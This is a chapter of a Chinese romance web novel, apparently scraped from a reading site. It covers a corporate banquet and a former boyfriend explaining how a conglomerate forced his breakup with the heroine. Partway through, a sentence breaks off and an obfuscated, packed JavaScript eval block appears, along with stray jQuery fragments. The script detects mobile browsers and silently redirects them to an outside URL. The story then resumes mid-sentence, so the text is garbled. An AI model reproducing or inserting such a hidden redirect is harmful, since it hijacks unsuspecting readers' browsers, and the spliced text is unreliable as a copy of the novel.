4. chapter 04

作品:《难自禁

    Chapter04.


    年轻女孩叫曾明瑛。


    见郗千澜面无表情,心里不免七上八下。


    这场饭局,他们公司的目的就是拿下和京实的合作。


    来之前公司特意挑选了几名要不甜美漂亮要不能说会道的年轻女孩儿。


    其中有人愿意也有人不愿意。


    她属于后者。


    最终会答应也是因为担心自己拒绝会被主管穿小鞋,好不容易找到的工作保不住。


    对于主管所暗示的,机会就在眼前,现在就看你能不能抓住了,她其实是很不屑的。


    尤其是左一个总,右一个总,不是啤酒肚就是地中海,吃不两口饭就举杯你敬我一杯,我敬你一杯,稍微露出些难色来,这些总就眯眼询问,“是不是不给我面子?”


    曾明瑛在心底吐槽。


    直至,郗千澜出现。


    他姗姗来迟,但在场无人敢表现不满。


    曾明瑛眼见刚刚趾高气扬的这总儿那总儿陪笑寒暄。


    “郗总果然是日理万机。”


    郗总。


    曾明瑛这才知道,京实集团的掌舵者年轻得不可思议。


    真的有人是被上天所眷顾的。曾明瑛悄悄感慨。


    在她看来,郗千澜如果靠他那张隽致的脸蛋和英挺的身材来吃饭的话,他恐怕也能赚得盆满钵满,偏偏还坐拥京实集团。


    起初曾明瑛老老实实地陪笑、倒酒、喝酒。


    她身旁的陈总却总也不规矩,无数次地搂她肩膀。


    她在脑海里将陈总大卸八块。


    后来,郗千澜拨打电话。


    她并不敢听他的讲话内容,但余光里有他的微笑,若拂面春风一般雅润温柔。


    主管暗示的那句“机会就在眼前,现在就看你能不能抓住了”回荡在耳边。


    曾明瑛大着胆子喊了一声“郗总”,人也跟着贴过去。


    “郗总,对不起,我知道错了。”


    曾明瑛感觉自己快要哭了。


    她身旁的苏总打圆场,“哎呀,美女年纪还小,不懂事。”


    郗千澜似笑非笑。


    “既然年纪还小,不懂事,那就先回家吧,关于合作……”他环视一周,“我才知道,贵公司谈合作是靠美酒和美人的。”


    主管闻听此言,顿时心惊肉跳,他站起来,一边结结巴巴地向郗千澜解释,一边在心底骂曾明瑛不长眼,惹了尊大佛。


    当然郗千澜这尊难搞的大佛他也没少骂。


    ……


    自大狂!不要脸!


    令嘉不住地骂郗千澜。


    才出卫生间,令嘉很巧的跟冯文辛迎了个照面。


    这一晚上,冯文辛被灌了不少酒,脚步不免虚浮,深浅不一。眼见着令嘉身贴墙根,打算遁逃,额角就突突地跳,他揉了揉眉心,忽然厉声不甘道:“令嘉——”


    令嘉给他吓的浑身一哆嗦,叹息着躲是躲不过了,便硬着头皮打招呼,“哟,这不新郎官么,恭喜恭喜啊。”


    冯文辛眼风似刀子,一寸寸剐过令嘉的脸。


    他是有试图从令嘉的神情中判断她刚刚的恭喜之语是否真心实意。


    但见——


    女孩儿杏眼泠泠,唇瓣妃红,肌肤腻白,笑意盈盈半分不作假。


    再反观自己这一晚上呢?


    冯文辛露出一个稍显苦涩的笑容来。


    纵然面容平静,但他深知自己的内心正经历着怎样的惊涛骇浪。


    勉力才将心口翻腾的情绪压制住,他说:“刚刚听敏敏说,才知道你们是同事。”


    令嘉点点头,轻“嗯”一声。


    “你教什么?”冯文辛问她。


    令嘉回答:“美术。”


    冯文辛:“哦,美术呀,美术好,轻松。”


    令嘉:“确实还挺轻松的。”


    ……


    忽然,就无话可说了。


    令嘉一边摩挲着小指,这是她紧张尴尬时的惯有动作,一边垂着眼睫,在心底盘算着怎么开口说离开。


    冯文辛凝着她白衬衫、蓝色牛仔裤的简单装扮,不由地失神。


    想起那年秋雨霏霏,雨丝漫天,天气却是一日凉过一日。


    清晨的S大校园,云雾薄漫,地上铺了一层黄澄澄的落叶。


    她亦是白衬衫、蓝色牛仔裤,撑着一把透明的雨伞,站在他们宿舍楼底下,削肩楚楚,伶仃又倔强。


    于是——


    这个晚上,冯文辛继出声唤她,脑袋第二次发昏发胀发热,“嘉嘉,你还怪我么?”


    乍一听见他喊“嘉嘉”,令嘉直觉不妥,一双眉毛拧得死紧,待又听得他后半句问“你还怪我么”,她蓦地想起那年临近中午头上她从计算机二级考场出来,一领回手机,第一时间就打算开机从微信上把这次题不难,应该能过的喜悦分享给他,却先看到他发来的分手讯息。


    分手吧。


    过于简单的三个字。


    然后连着一礼拜,令嘉茶饭不思,得空儿就往他们学校跑,想找他问一个原因。


    为什么要分手?


    但他始终避而不见。


    曾经痛彻心扉的失恋情绪全靠酒精与睡眠来麻痹自己。


    而在如今这一刻,令嘉将冯文辛细细一看:他皮肤黑了,头发短了,不怎么笑了,个头好像又长高了些。


    总之,他于她,已过于陌生。


    她对他,也只剩一份旧友情谊。


    想来是时间的功劳。


    又也许,根本就是情根未深。


    令嘉释然一笑,同他玩笑道:“都是些陈芝麻烂谷子的事了,还提来做什么。”


    这笑落入冯文辛眼底,却有几分刺目。


    他将脑袋扭向一旁,不去看,眼睫半垂着说了一句什么。


    咂摸了一下,令嘉才渐渐明白——他大致是说:当初同她分手,并非是他所自愿的。


    此言一出,令嘉直觉自己在触碰潘多拉的魔匣,呼吸不由地一滞。


    冯文辛扫她一眼,随即表示:他希望她能给他几分钟时间,听他讲一讲,好给他的经年之愧画上一个至此终年的句号。


    令嘉没说话。


    冯文辛权当做她同意,大致将思路捋一捋,开口了:“四年前——”


    若令嘉没记错的话,四年前,他俩才大二,交往不满一年。


    冯文辛说:“我家的工厂接到京实集团一笔订货单,利润非常可观,我爸一脸几天高兴的合不拢嘴,我趁机跟他要了一辆摩托车……”


    提起他那


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16239760|181898||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    辆雅马哈摩托,令嘉亦有印象。


    黑金两色混搭配合,外观低调奢华。


    冯文辛当时很兴冲冲地找她炫耀,她却对他车技存疑,一度并不敢坐他摩托。


    “那笔货单,要的急,工人加班加点干了一个多月,才没误了交货日期,结果转眼那批货品就被检查出不符合质量标准。”


    讲到这里,冯文辛恨恨的咬紧了牙根儿,“后来才知,是京实集团要搞我们家的厂子,提前买通了厂子里的一位技术员,在数据上动了些手脚。但在当时,尾款拿不到手,资金根本无法周转,工资发不出来,工人们情绪消极,京实也威胁说要走法律途径追究责任……厂子随时面临着倒闭的可能,这时候,一个叫做赵明铎的男人找到我爸……”


    “赵明铎”这个名字一出现,令嘉的指甲深深嵌入掌心。


    长廊的灯光幽幽,衬的她那张美丽的小脸发青。


    “赵明铎说京实可以不追究我们家厂子的责任,但前提是要我爸将自己的儿子看好,不该招惹的少招惹,最好别妄想着癞□□要吃天鹅肉。”


    冯文辛徐徐吐气。


    ……


    其实这事儿还有未曾同她提及的后半截,只是记忆过于屈辱,一旦回首,冯文辛难以抑制情绪地将拳头攥紧了。


    当时冯文辛跟令嘉正处于热恋期,哪里肯会心甘情愿地分手。


    年轻人的一腔孤勇简直是越挫越勇。


    赶巧儿那段时间,令嘉忙着考计算机二级,俩人只偶尔约着出来吃个饭、看个电影,更多的时间是聊微信。


    冯文辛便顺水推舟,谎骗他父亲,说俩人已经分手了。


    他父亲长舒一口气,跟赵明多几番交涉,一时之间,京实集团未曾有新的动作。


    大概又过了一礼拜的时间,俩人约了晚上吃饭、看电影。


    等电影散场已经是晚上11点多了。


    冯文辛先将令嘉送回学校,自己又骑摩托回S大。


    S大新校区位于郊区,夜色一深,马路就空了,四处静悄悄,绿化带里偶尔传出一两声低哑的虫鸣。


    寒凉的夜风拂过双耳,骑着摩托车的男孩儿有几分失神,脑海里来来回回播放的都是同女朋友分开时的情景——


    他想亲她。


    她蔫坏儿地拿双手掩颊,人躲来躲去。


    但最终还是被他捉住肩膀,他才亲过她的额、鼻尖、脸颊,她的脖子已经红的快要滴血。


    她像是鸵鸟一样,把脑袋埋入他的怀里。


    这一切都令冯文辛一个血气方刚的大男孩在暗夜里难以自抑的澎湃激动,并一遍遍回味体会。


    是以,暗夜里不断逼近的轰隆马达声,冯文辛根本就没有往心上放。


    直至——


    是四辆摩托车,逐渐形成一个包围圈儿。


    冯文辛被迫将摩托车停在绿化带边上儿。


    从摩托车上下来七八个身材高壮、肌肉纠结的男人,全部手持胳膊粗儿的铁棍。


    冯文辛审时度势,知道态势不妙,第一时间往兜里摸手机,准备报警。


    这时有两道耀眼的灯光从远处遥遥射来,直刺的他眯起眼睛。


    模糊中,见一辆颜色张扬的宝石蓝跑车风驰电掣、马达轰轰,竟径直朝他所在的方向撞来。